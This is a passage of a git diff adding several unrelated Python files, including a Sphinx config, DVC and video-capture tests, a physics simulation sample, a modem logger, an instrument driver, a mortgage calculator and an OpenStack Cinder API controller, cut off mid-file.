"+build.{revno}", where "revno" is the output of + "git describe --always HEAD". + + If any errors, ('unknown', 'unknown-version') will be returned. + """ + unknown_version = 'unknown' + unknown_release = 'unknown-version' + if yaml is None: + print 'ERROR: cannot import the python-yaml library' + return unknown_version, unknown_release + try: + with open(changes_path) as cfd: + changes = yaml.load(cfd.read()) + except IOError: + print 'ERROR: cannot read {0}'.format(changes_path) + return unknown_version, unknown_release + try: + version = release = changes[0].keys()[0] + except IndexError: + print 'ERROR: cannot parse changes in {0}'.format(changes_path) + return unknown_version, unknown_release + if version != 'unreleased': + return version, release + # take the most recent real version number + try: + version = release = changes[1].keys()[0] + except IndexError: + print 'ERROR: cannot parse changes in {0}'.format(changes_path) + return unknown_version, unknown_release + try: + # Generate a git hash to represent this specific revision point. + revno = subprocess.check_output( + ['git', 'describe', '--always', 'HEAD']).strip() + except Exception as err: + print 'ERROR: cannot get the branch revno - {0}'.format(err) + revno = 'unknown' + release += '+build.{0}'.format(revno) + return version, release + + +# Get the version from the CHANGES.yaml file in the project root. +changes_path = os.path.normpath(os.path.join( + os.path.dirname(__file__), '..', 'CHANGES.yaml')) +version, release = get_version_from_changes(changes_path) + +# The language for content autogenerated by Sphinx. Refer to documentation +# for a list of supported languages. +#language = None + +# There are two options for replacing |today|: either, you set today to some +# non-false value, then it is used: +#today = '' +# Else, today_fmt is used as the format for a strftime call. +#today_fmt = '%B %d, %Y' + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +exclude_patterns = ['_build'] + +# The reST default role (used for this markup: `text`) for all documents. +#default_role = None + +# If true, '()' will be appended to :func: etc. cross-reference text. +#add_function_parentheses = True + +# If true, the current module name will be prepended to all description +# unit titles (such as .. function::). +#add_module_names = True + +# If true, sectionauthor and moduleauthor directives will be shown in the +# output. They are ignored by default. +#show_authors = False + +# The name of the Pygments (syntax highlighting) style to use. +pygments_style = 'sphinx' + +# A list of ignored prefixes for module index sorting. +#modindex_common_prefix = [] + + +# -- Options for HTML output -------------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +html_theme = 'default' + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +#html_theme_options = {} + +# Add any paths that contain custom themes here, relative to this directory. +#html_theme_path = [] + +# The name for this set of Sphinx documents. If None, it defaults to +# " v documentation". +#html_title = None + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (relative to this directory) to place at the top +# of the sidebar. +#html_logo = None + +# The name of an image file (within the static path) to use as favicon of the +# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 +# pixels large. +#html_favicon = None + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + +# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, +# using the given strftime format. +#html_last_updated_fmt = '%b %d, %Y' + +# If true, SmartyPants will be used to convert quotes and dashes to +# typographically correct entities. +#html_use_smartypants = True + +# Custom sidebar templates, maps document names to template names. +#html_sidebars = {} + +# Additional templates that should be rendered to pages, maps page names to +# template names. +#html_additional_pages = {} + +# If false, no module index is generated. +#html_domain_indices = True + +# If false, no index is generated. +#html_use_index = True + +# If true, the index is split into individual pages for each letter. +#html_split_index = False + +# If true, links to the reST sources are added to the pages. +#html_show_sourcelink = True + +# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. +#html_show_sphinx = True + +# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. +#html_show_copyright = True + +# If true, an OpenSearch description file will be output, and all pages will +# contain a tag referring to it. The value of this option must be the +# base URL from which the finished HTML is served. +#html_use_opensearch = '' + +# This is the file name suffix for HTML files (e.g. ".xhtml"). +#html_file_suffix = None + +# Output file base name for HTML help builder. +htmlhelp_basename = 'JujuGUIdoc' + + +# -- Options for LaTeX output ------------------------------------------------- + +latex_elements = { +# The paper size ('letterpaper' or 'a4paper'). +#'papersize': 'letterpaper', + +# The font size ('10pt', '11pt' or '12pt'). +#'pointsize': '10pt', + +# Additional stuff for the LaTeX preamble. +#'preamble': '', +} + +# Grouping the document tree into LaTeX files. List of tuples (source +# start file, target name, title, author, documentclass [howto/manual]). +latex_documents = [ + ('index', 'JujuGUI.tex', u'JujuGUI Documentation', + u'Juju GUI Developers', 'manual'), +] + +# The name of an image file (relative to this directory) to place at the top of +# the title page. +#latex_logo = None + +# For "manual" documents, if this is true, then toplevel headings are parts, +# not chapters. +#latex_use_parts = False + +# If true, show page references after internal links. +#latex_show_pagerefs = False + +# If true, show URL addresses after external links. +#latex_show_urls = False + +# Documents to append as an appendix to all manuals. +#latex_appendices = [] + +# If false, no module index is generated. +#latex_domain_indices = True + + +# -- Options for manual page output ------------------------------------------- + +# One entry per manual page. List of tuples +# (source start file, name, description, authors, manual section). +man_pages = [ + ('index', 'jujugui', u'JujuGUI Documentation', + [u'Juju GUI Developers'], 1) +] + +# If true, show URL addresses after external links. +#man_show_urls = False + + +# -- Options for Texinfo output ----------------------------------------------- + +# Grouping the document tree into Texinfo files. List of tuples +# (source start file, target name, title, author, +# dir menu entry, description, category) +texinfo_documents = [ + ('index', 'JujuGUI', u'JujuGUI Documentation', + u'Juju GUI Developers', 'JujuGUI', 'One line description of project.', + 'Miscellaneous'), +] + +# Documents to append as an appendix to all manuals. +#texinfo_appendices = [] + +# If false, no module index is generated. +#texinfo_domain_indices = True + +# How to display URL addresses: 'footnote', 'no', or 'inline'. +#texinfo_show_urls = 'footnote' diff --git a/pool/shard009/Python/0082883_test_status.py b/pool/shard009/Python/0082883_test_status.py new file mode 100644 index 0000000000000000000000000000000000000000..c2902dedfe9aa3b2eca07c6a0b7955fbc2f6df60 --- /dev/null +++ b/pool/shard009/Python/0082883_test_status.py @@ -0,0 +1,139 @@ +import os + +from dvc.main import main + + +def test_quiet(tmp_dir, dvc, capsys): + tmp_dir.dvc_gen("foo", "foo") + + # clear + capsys.readouterr() + + assert main(["status", "--quiet"]) == 0 + out_err = capsys.readouterr() + assert not out_err.out + assert not out_err.err + + tmp_dir.gen("foo", "barr") + + assert main(["status", "--quiet"]) == 1 + out_err = capsys.readouterr() + assert not out_err.out + assert not out_err.err + + +def test_implied_cloud(dvc, mocker): + mock_status = mocker.patch( + "dvc.repo.status._cloud_status", return_value=True + ) + + main(["status", "--remote", "something"]) + assert mock_status.called + + +def test_status_non_dvc_repo_import(tmp_dir, dvc, git_dir): + with git_dir.branch("branch", new=True): + git_dir.scm_gen("file", "first version", commit="first version") + + dvc.imp(os.fspath(git_dir), "file", "file", rev="branch") + + assert dvc.status(["file.dvc"]) == {} + + with git_dir.branch("branch", new=False): + git_dir.scm_gen("file", "second version", commit="update file") + + (status,) = dvc.status(["file.dvc"])["file.dvc"] + assert status == { + "changed deps": {f"file ({git_dir})": "update available"} + } + + +def test_status_before_and_after_dvc_init(tmp_dir, dvc, git_dir): + git_dir.scm_gen("file", "first version", commit="first version") + old_rev = git_dir.scm.get_rev() + + dvc.imp(os.fspath(git_dir), "file", "file") + + assert dvc.status(["file.dvc"]) == {} + + with git_dir.chdir(): + git_dir.init(dvc=True) + git_dir.scm.gitpython.repo.index.remove(["file"]) + os.remove("file") + git_dir.dvc_gen("file", "second version", commit="with dvc") + new_rev = git_dir.scm.get_rev() + + assert old_rev != new_rev + + (status,) = dvc.status(["file.dvc"])["file.dvc"] + assert status == { + "changed deps": {f"file ({os.fspath(git_dir)})": "update available"} + } + + +def test_status_on_pipeline_stages(tmp_dir, dvc, run_copy): + tmp_dir.dvc_gen("foo", "foo") + stage = run_copy("foo", "bar", name="copy-foo-bar") + + stage.cmd = " ".join(stage.cmd.split()) + stage.dvcfile._dump_pipeline_file(stage) + assert dvc.status("copy-foo-bar") == {"copy-foo-bar": ["changed command"]} + + # delete outputs + (tmp_dir / "bar").unlink() + assert dvc.status() == { + "copy-foo-bar": [ + {"changed outs": {"bar": "deleted"}}, + "changed command", + ] + } + (tmp_dir / "foo").unlink() + assert dvc.status() == { + "foo.dvc": [{"changed outs": {"foo": "deleted"}}], + "copy-foo-bar": [ + {"changed deps": {"foo": "deleted"}}, + {"changed outs": {"bar": "deleted"}}, + "changed command", + ], + } + + +def test_status_recursive(tmp_dir, dvc): + tmp_dir.gen({"dir": {"file": "text1", "subdir": {"file2": "text2"}}}) + stages = dvc.add("dir", recursive=True, no_commit=True) + + assert len(stages) == 2 + + assert dvc.status(targets=["dir"], recursive=True) == { + os.path.join("dir", "file.dvc"): [ + {"changed outs": {os.path.join("dir", "file"): "not in cache"}} + ], + os.path.join("dir", "subdir", "file2.dvc"): [ + { + "changed outs": { + os.path.join("dir", "subdir", "file2"): "not in cache" + } + } + ], + } + + +def test_status_outputs(tmp_dir, dvc): + tmp_dir.dvc_gen({"foo": "foo", "bar": "bar"}) + dvc.run( + outs=["alice", "bob"], + deps=["foo", "bar"], + cmd="echo alice>alice && echo bob>bob", + name="alice_bob", + ) + tmp_dir.gen({"alice": "new alice", "bob": "new bob"}) + + assert dvc.status(targets=["alice_bob"]) == { + "alice_bob": [ + {"changed outs": {"alice": "modified", "bob": "modified"}} + ] + } + + assert dvc.status(targets=["alice"]) == { + "alice_bob": [{"changed outs": {"alice": "modified"}}] + } diff --git a/pool/shard009/Python/0082888_wang_landau_reaction_ensemble.py b/pool/shard009/Python/0082888_wang_landau_reaction_ensemble.py new file mode 100644 index 0000000000000000000000000000000000000000..544003cb58c112ac9bd7fa33045b6ce3ca7eeffe --- /dev/null +++ b/pool/shard009/Python/0082888_wang_landau_reaction_ensemble.py @@ -0,0 +1,100 @@ +""" +This sample simulates the Wang-Landau Reaction Ensemble for a harmonic bond. +""" + +# +# Copyright (C) 2013-2018 The ESPResSo project +# +# This file is part of ESPResSo. +# +# ESPResSo is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# ESPResSo is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +from __future__ import print_function +import numpy as np + +import espressomd +from espressomd import code_info +from espressomd import analyze +from espressomd import integrate +from espressomd import reaction_ensemble + +# System parameters +############################################################# +box_l = 6 * np.sqrt(2) + +# Integration parameters +############################################################# +system = espressomd.System(box_l=[box_l] * 3) +system.set_random_state_PRNG() +#system.seed = system.cell_system.get_state()['n_nodes'] * [1234] +np.random.seed(seed=system.seed) +system.time_step = 0.02 +system.cell_system.skin = 0.4 +system.cell_system.max_num_cells = 2744 + + +############################################################# +# Setup System # +############################################################# + + +# Particle setup +############################################################# +# type 0 = HA +# type 1 = A- +# type 2 = H+ + +N0 = 1 # number of titratable units +K_diss = 0.0088 + +system.part.add(id=0, pos=[0, 0, 0] * system.box_l, type=3) +system.part.add(id=1, pos=[1.0, 1.0, 1.0] * system.box_l / 2.0, type=1) +system.part.add(id=2, pos=np.random.random() * system.box_l, type=2) +system.part.add(id=3, pos=np.random.random() * system.box_l, type=2) + +# create a harmonic bond between the two reacting particles => the +# potential energy is quadratic in the elongation of the bond and +# therefore the density of states is known as the one of the harmonic +# oscillator +h = HarmonicBond(r_0=0, k=1) +system.bonded_inter[0] = h +system.part[0].add_bond((h, 1)) + + +RE = reaction_ensemble.WangLandauReactionEnsemble( + temperature=1, exclusion_radius=0) +RE.add_reaction(gamma=K_diss, reactant_types=[0], reactant_coefficients=[ + 1], product_types=[1, 2], product_coefficients=[1, 1], default_charges={0: 0, 1: -1, 2: +1}) +print(RE.get_status()) +system.setup_type_map([0, 1, 2, 3]) + + +# initialize wang_landau +# generate preliminary_energy_run_results here, this should be done in a +# seperate simulation without energy reweighting using the update energy +# functions +np.savetxt("energy_boundaries.dat", np.c_[ + [0, 1], [0, 0], [9, 9]], header="nbar E_min E_max") + +RE.add_collective_variable_degree_of_association( + associated_type=0, min=0, max=1, corresponding_acid_types=[0, 1]) +RE.add_collective_variable_potential_energy( + filename="energy_boundaries.dat", delta=0.05) +RE.set_wang_landau_parameters(final_wang_landau_parameter=1e-3, + do_not_sample_reaction_partition_function=True, full_path_to_output_filename="WL_potential_out.dat") + +i = 0 +while True: + RE.reaction() + RE.displacement_mc_move_for_particles_of_type(3) diff --git a/pool/shard009/Python/0082889_test_unit.py b/pool/shard009/Python/0082889_test_unit.py new file mode 100644 index 0000000000000000000000000000000000000000..32940dddbe34928170b93c0c35137bfd20a4b21e --- /dev/null +++ b/pool/shard009/Python/0082889_test_unit.py @@ -0,0 +1,105 @@ +from pytest import yield_fixture, fail, mark +from pygiftgrab import VideoSourceFactory, VideoFrame, ColourSpace + +source = None +frame = None +frame_with_colour_mismatch = None +width = 0 +height = 0 +sub_x = 0 +sub_y = 0 +sub_width = 0 +sub_height = 0 +sub2_x = 0 +sub2_y = 0 +sub2_width = 0 +sub2_height = 0 + + +@yield_fixture(scope='session') +def peri_test(port, colour_space): + # This section runs before each test + factory = VideoSourceFactory.get_instance() + global source + try: + source = factory.get_device(port, colour_space) + except IOError as e: + raise RuntimeError('Could not connect to Epiphan DVI2PCIe Duo,\n' + + 'The detailed error was:\n' + + e.message) + assert source is not None + + global frame, frame_with_colour_mismatch + frame = VideoFrame(colour_space, False) + if colour_space == ColourSpace.BGRA: + mismatch_colour_space = ColourSpace.I420 + else: + mismatch_colour_space = ColourSpace.BGRA + frame_with_colour_mismatch = VideoFrame(mismatch_colour_space, False) + + global height, width + assert source.get_frame(frame) + width = frame.cols() + height = frame.rows() + + global sub_x, sub_y, sub_width, sub_height + sub_width = width // 3 + sub_height = height // 3 + sub_x = width // 2 + sub_y = height // 2 + # health checks + assert sub_x + sub_width < width + assert sub_y + sub_height < height + + global sub2_x, sub2_y, sub2_width, sub2_height + sub2_width = width // 5 + sub2_height = height // 5 + sub2_x = width // 6 + sub2_y = height // 6 + # health checks + assert sub2_x + sub2_width < width + assert sub2_y + sub2_height < height + + # Run test + yield + + # TODO: commented out to allow + # for test GiftGrab#71 resolved + # assert source is None + + +@mark.unit +@mark.usefixtures('peri_test') +def test_get_frame(): + assert source.get_frame(frame) + assert frame.rows() > 0 + assert frame.cols() > 0 + + assert not source.get_frame(frame_with_colour_mismatch) + + +@mark.unit +@mark.usefixtures('peri_test') +def test_sub_frame(): + source.set_sub_frame(sub_x, sub_y, + sub_width, sub_height) + assert source.get_frame(frame) + assert frame.cols() == sub_width + assert frame.rows() == sub_height + + source.set_sub_frame(sub2_x, sub2_y, + sub2_width, sub2_height) + assert source.get_frame(frame) + assert frame.cols() == sub2_width + assert frame.rows() == sub2_height + + +@mark.unit +@mark.usefixtures('peri_test') +def test_full_frame(): + source.set_sub_frame(sub_x, sub_y, + sub_width, sub_height) + source.get_full_frame() + assert source.get_frame(frame) + assert frame.cols() == width + assert frame.rows() == height diff --git a/pool/shard009/Python/0082890_ericsson.py b/pool/shard009/Python/0082890_ericsson.py new file mode 100644 index 0000000000000000000000000000000000000000..e1645ad764d83caf3f2f8c565e7c510c0809c457 --- /dev/null +++ b/pool/shard009/Python/0082890_ericsson.py @@ -0,0 +1,113 @@ +import serial +import time + +# ser = serial.Serial(port='/dev/ttyACM0', baudrate=115200, btesize=8, parity='N', stopbits=1, timeout=1, xonoff=False, rtscts=False, dsrdtr=False) +ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.1) +cmd = 'AT*E2EMM=9\r\n' +cmd_encoded = cmd.encode() + +SERVING="WCDMA - Serving Cell ( Idle )\r\n" +SERVING_HEADER="MCC, MNC, LAC, Ch, SC, RSCP, EcNo, RSSI, ServL, ServQ, Hs, Rs" +SERVING_NAME='serving.csv' +INTRA="Monitored Intra-Frequency Cells\r\n" +INTRA_HEADER="Ch, SC, RSCP, EcNo, PTxPwr, ULTxPwr, ServL, ServQ, Hn, Rn" +INTRA_NAME='intra.csv' +INTER="Monitored Inter-Frequency Cells\r\n" +INTER_HEADER="Ch, SC, RSCP, EcNo, PTxPwr, ULTxPwr, ServL, ServQ, Hn, Rn" +INTER_NAME='inter.csv' +RAT="Monitored Inter-RAT Cells\r\n" +RAT_HEADER="Ch, BSIC, CIO, RSSI, RxLevMin" +RAT_NAME='rat.csv' +DETECTED="Detected Cells\r\n" +DETECTED_HEADER="Ch, SC, PTxPwr, ULTxPwr, ServL, ServQ, Hn, Rn" +DETECTED_NAME='detected.csv' + +def openFiles(): + global serving_file, intra_file, inter_file, rat_file, detected_file + + serving_file = open(SERVING_NAME,'w') + serving_file.write('time [ms] , '+SERVING_HEADER+'\n') + intra_file = open(INTRA_NAME,'w') + intra_file.write('time [ms] , '+INTRA_HEADER+'\n') + inter_file = open(INTER_NAME,'w') + inter_file.write('time [ms] , '+INTER_HEADER+'\n') + rat_file = open(RAT_NAME,'w') + rat_file.write('time [ms] , '+RAT_HEADER+'\n') + detected_file = open(DETECTED_NAME,'w') + detected_file.write('time [ms] , '+DETECTED_HEADER+'\n') + +def closeFiles(): + global serving_file, intra_file, inter_file, rat_file, detected_file + + serving_file.close() + intra_file.close() + inter_file.close() + rat_file.close() + detected_file.close() + +def parseAndStore(timestamp,file,header,printit=False): + global ser + + resp = ser.readline() + + while True: #len(resp)!=2: + if len(resp) == 0 or len(resp) == 2: + break + elif header not in resp: + file.write(str(timestamp)) + file.write (','+resp.rstrip('\r\n')+'\n') + if printit: print resp.rstrip('\r\n') + resp = ser.readline() + file.flush() + return + +openFiles() + +for y in xrange(1,1200): + ser.write(cmd_encoded) + ms = int(round(time.time()*1000.0)) # get milliseconds + for x in xrange(1,1000): + resp = ser.readline() + if len(resp) == 0: + break + elif resp == SERVING: + parseAndStore(ms,serving_file,SERVING_HEADER,True), + elif resp == INTER: + parseAndStore(ms,inter_file,INTER_HEADER) + elif resp== INTRA: + parseAndStore(ms,intra_file,INTRA_HEADER) + elif RAT == resp: + parseAndStore(ms,rat_file,RAT_HEADER) + elif DETECTED == resp: + parseAndStore(ms,detected_file,DETECTED_HEADER) + elif "OK\r\n" == resp: + pass + #print "OK Detected" + elif len(resp) ==2 or "AT*E2EMM=9" in resp or resp == "*E2EMM\r\n": + pass + else: + print resp + time.sleep(0.9) + +closeFiles() + + #"OK\r\n" : break + #}[resp] + # if resp =="OK\r\n": + # print "OK detected" + # elif resp == "" + # elif len(resp) >0 : + # print len(resp),resp + + +# ser.write(cmd_encoded) +# resp = ser.read(5000) +# print ms,resp +# if "WCDMA - Serving0 in resp: +# millile resp!="": +# resp = ser.readline() +# print resp +# print "New Line detected" +# while resp !="OK": +# resp = ser.readline() +ser.close() diff --git a/pool/shard009/Python/0082891_agilentDSOX2014A.py b/pool/shard009/Python/0082891_agilentDSOX2014A.py new file mode 100644 index 0000000000000000000000000000000000000000..f2874e3dbc9ad9d4474d86104884b4b1b874b6d6 --- /dev/null +++ b/pool/shard009/Python/0082891_agilentDSOX2014A.py @@ -0,0 +1,44 @@ +""" + +Python Interchangeable Virtual Instrument Library + +Copyright (c) 2012-2016 Alex Forencich + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + +""" + +from .agilent2000A import * + +class agilentDSOX2014A(agilent2000A): + "Agilent InfiniiVision DSOX2014A IVI oscilloscope driver" + + def __init__(self, *args, **kwargs): + self.__dict__.setdefault('_instrument_id', 'DSO-X 2014A') + + super(agilentDSOX2014A, self).__init__(*args, **kwargs) + + self._analog_channel_count = 4 + self._digital_channel_count = 0 + self._channel_count = self._analog_channel_count + self._digital_channel_count + self._bandwidth = 100e6 + + self._init_channels() + + diff --git a/pool/shard009/Python/0082893_pkm.py b/pool/shard009/Python/0082893_pkm.py new file mode 100644 index 0000000000000000000000000000000000000000..659e48ee43239351a4017c42ddd3ee77889c5b23 --- /dev/null +++ b/pool/shard009/Python/0082893_pkm.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python +######## +# Copyright (c) 2014 GigaSpaces Technologies Ltd. All rights reserved +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# * See the License for the specific language governing permissions and +# * limitations under the License. + +"""Script to run packman via command line + +Usage: + pkm get [--packages= --packages-file= --exclude= -v] + pkm pack [--packages= --packages-file= --exclude= -v] + pkm make [--packages= --packages-file= --exclude= -v] + pkm --version + +Arguments: + pack Creates packages configured in packages file + get Retrives resources for package configured in packages file + make Gets AND (yeah!) Packs.. don't ya kno! + +Options: + -h --help Show this screen. + -c --packages= Comma Separated list of package names + -x --exclude= Comma Separated list of excluded packages + -f --packages-file= packages file path + -v --verbose a LOT of output + --version Display current version of package and exit + +""" + +from __future__ import absolute_import +from docopt import docopt +from packman import logger +from packman.packman import packman_runner +from packman.utils import check_distro +from packman import utils + +lgr = logger.init() + + +def ver_check(): + import pkg_resources + version = None + try: + version = pkg_resources.get_distribution('packman').version + except Exception as e: + print(e) + finally: + del pkg_resources + return version + + +def pkm_run(o): + if o['pack']: + packman_runner('pack', + o.get('--packages-file'), + o.get('--packages'), + o.get('--exclude'), + o.get('--verbose')) + elif o['get']: + packman_runner('get', + o.get('--packages-file'), + o.get('--packages'), + o.get('--exclude'), + o.get('--verbose')) + elif o['make']: + packman_runner('get', + o.get('--packages-file'), + o.get('--packages'), + o.get('--exclude'), + o.get('--verbose')) + packman_runner('pack', + o.get('--packages-file'), + o.get('--packages'), + o.get('--exclude'), + o.get('--verbose')) + + +def pkm(test_options=None): + """Main entry point for script.""" + version = ver_check() + options = test_options or docopt(__doc__, version=version) + utils.set_global_verbosity_level(options.get('--verbose')) + check_distro(verbose=options.get('--verbose')) + lgr.debug(options) + pkm_run(options) + + +def main(): + pkm() + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0082894_optimise_finance.py b/pool/shard009/Python/0082894_optimise_finance.py new file mode 100644 index 0000000000000000000000000000000000000000..820825a9d4f8f04e3e9a26baca816a7a88794373 --- /dev/null +++ b/pool/shard009/Python/0082894_optimise_finance.py @@ -0,0 +1,113 @@ +import logging +import numpy +logger = logging.getLogger("Optimize Finance") + +APPORT = 102000 +PTZ = 75600 +PROJET_1 = 276895 +PROJET_2 = 265702 + +def calcul_pas_schedule_1(pas_fix = 99295.0, taux = 2.2, during = 25.0): + result = 0 + taux = taux / 100.0 + # result = p * X / Y + index = numpy.array([0.0] * (during + 1)) + index[0] = 1 + index[1] = 1 + for i in range(2, during +1): + new_index = numpy.array([0.0] * (during + 1)) + new_index[0] = 1 + new_index[i] = 1 + middle = int(during / 2 if during % 2 == 0 else during/2 + 1) + for j in range(1, middle + 1): + new_index[j] = index[j - 1] + index[j] + new_index[i-j] = index[i-j] + index[i - j - 1] + + index = new_index.copy() + X = 0 + for i, coef in enumerate(index): + X = X + coef * pow(taux, i) + Y = 0 + for i, coef in enumerate(index[1:]): + Y = Y + coef * pow(taux, i) + + result = round(pas_fix * (X / Y) / 12.0, 2) + + #logger.debug("index of %s : %s" % (during, index)) + return result + +def optimize(projet = PROJET_1, during = 25, taux = 2.2, unblocking_period = 3, + unblocking_taux = 2.7, ptz_insurance = 31.02, pas_insurance = 40.75): + pas_fix = (projet - APPORT - PTZ) + pas_schedule_0 = round(pas_fix * unblocking_taux / 100.0 / 12.0, 2) + + logger.debug("pas_schedule_0 calcul =%s" % pas_schedule_0) + + ptz_pallier_0, ptz_pallier_1, ptz_pallier_2 = unblocking_period, 10, 12 + ptz_schedule_0, ptz_schedule_1, ptz_schedule_2 = 0, 0, 525 * 12 + ptz = ptz_pallier_0 * ptz_schedule_0 + ptz_pallier_1 * ptz_schedule_1 + \ + ptz_pallier_2 * ptz_schedule_2 + ptz_insurance_total = (ptz_pallier_0 + ptz_pallier_1 + ptz_pallier_2) * ptz_insurance * 12 + + + pas_pallier_0, pas_pallier_1 = unblocking_period, during + + remain_to_repay = pas_fix + + frais = 0 + my_pais = 0 + + for i in range(unblocking_period): + frais_annuel = remain_to_repay * unblocking_taux / 100.0 + pas_return = (pas_schedule_0) * 12.0 + remain_to_repay = remain_to_repay - pas_return + frais_annuel + frais = frais + frais_annuel + my_pais = my_pais + pas_return + + logger.debug("remain_to_repay after unblocking period = %s" % remain_to_repay) + frais = 0 + new_tax = (taux * (during + unblocking_period) - unblocking_taux * unblocking_period) \ + / during + logger.info("new taux for pallier 1 = %s" % new_tax) + pas_schedule_1 = calcul_pas_schedule_1(pas_fix = remain_to_repay, taux = new_tax, during = during) + logger.debug("pas_schedule_1 calcul =%s" % pas_schedule_1) + + for i in range(during): + frais_annuel = remain_to_repay * new_tax / 100.0 # why 2.135 in place of 2.20 + pas_return = (pas_schedule_1) * 12.0 + remain_to_repay = remain_to_repay - pas_return + frais_annuel + frais = frais + frais_annuel + my_pais = my_pais + pas_return + + pas_insurance_total = (pas_pallier_0 + pas_pallier_1) * pas_insurance * 12.0 + + logger.debug("frais in unblocking period = %s" % frais) + logger.debug("frais = %s" % frais) + logger.debug("my pais = %s" % my_pais) + logger.debug("remain_to_repay = %s" % remain_to_repay) + logger.info("projet = %s" % projet) + logger.info("apport = %s" % APPORT) + logger.info("ptz = %s" % ptz) + logger.info("pas fix = %s" % pas_fix) + logger.info("ptz insurance = %s" % ptz_insurance_total) + logger.info("pas inssurance = %s" % pas_insurance_total) + logger.info("inssurance total = %s" % (pas_insurance_total + ptz_insurance_total)) + +def main(): + logger.info("Start programme for projet 1") + logger.info("*" * 30) + optimize(projet = PROJET_1, ptz_insurance = 31.02, pas_insurance = 40.75) + logger.info("*" * 30) + + logger.info("Start programme for projet 2") + logger.info("*" * 30) + optimize(projet = PROJET_2, ptz_insurance = 31.02, pas_insurance = 36.17) + logger.info("*" * 30) + #calcul_pas_schedule_1(during = 5) + + +if __name__ == '__main__': + logging.basicConfig(level = logging.DEBUG, + format = '%(asctime)s %(levelname)-8s %(name)-15s %(message)s', + datefmt = '%Y-%m-%d %H:%M:%S') + main() diff --git a/pool/shard009/Python/0082895_volume_transfer.py b/pool/shard009/Python/0082895_volume_transfer.py new file mode 100644 index 0000000000000000000000000000000000000000..0ec1409164d4b08b5ccf840e62509362eeb30733 --- /dev/null +++ b/pool/shard009/Python/0082895_volume_transfer.py @@ -0,0 +1,159 @@ +# Copyright 2011 OpenStack Foundation +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from oslo_log import log as logging +from six.moves import http_client +import webob +from webob import exc + +from cinder.api import common +from cinder.api import extensions +from cinder.api.openstack import wsgi +from cinder.api.schemas import volume_transfer +from cinder.api import validation +from cinder.api.views import transfers as transfer_view +from cinder import exception +from cinder import transfer as transferAPI + +LOG = logging.getLogger(__name__) + + +class VolumeTransferController(wsgi.Controller): + """The Volume Transfer API controller for the OpenStack API.""" + + _view_builder_class = transfer_view.ViewBuilder + + def __init__(self): + self.transfer_api = transferAPI.API() + super(VolumeTransferController, self).__init__() + + def show(self, req, id): + """Return data about active transfers.""" + context = req.environ['cinder.context'] + + # Not found exception will be handled at the wsgi level + transfer = self.transfer_api.get(context, transfer_id=id) + + return self._view_builder.detail(req, transfer) + + def index(self, req): + """Returns a summary list of transfers.""" + return self._get_transfers(req, is_detail=False) + + def detail(self, req): + """Returns a detailed list of transfers.""" + return self._get_transfers(req, is_detail=True) + + def _get_transfers(self, req, is_detail): + """Returns a list of transfers, transformed through view builder.""" + context = req.environ['cinder.context'] + filters = req.params.copy() + LOG.debug('Listing volume transfers') + transfers = self.transfer_api.get_all(context, filters=filters) + transfer_count = len(transfers) + limited_list = common.limited(transfers, req) + + if is_detail: + transfers = self._view_builder.detail_list(req, limited_list, + transfer_count) + else: + transfers = self._view_builder.summary_list(req, limited_list, + transfer_count) + + return transfers + + @wsgi.response(http_client.ACCEPTED) + @validation.schema(volume_transfer.create) + def create(self, req, body): + """Create a new volume transfer.""" + LOG.debug('Creating new volume transfer %s', body) + + context = req.environ['cinder.context'] + transfer = body['transfer'] + + volume_id = transfer['volume_id'] + + name = transfer.get('name', None) + if name is not None: + name = name.strip() + + LOG.info("Creating transfer of volume %s", + volume_id) + + try: + new_transfer = self.transfer_api.create(context, volume_id, name) + # Not found exception will be handled at the wsgi level + except exception.InvalidVolume as error: + raise exc.HTTPBadRequest(explanation=error.msg) + + transfer = 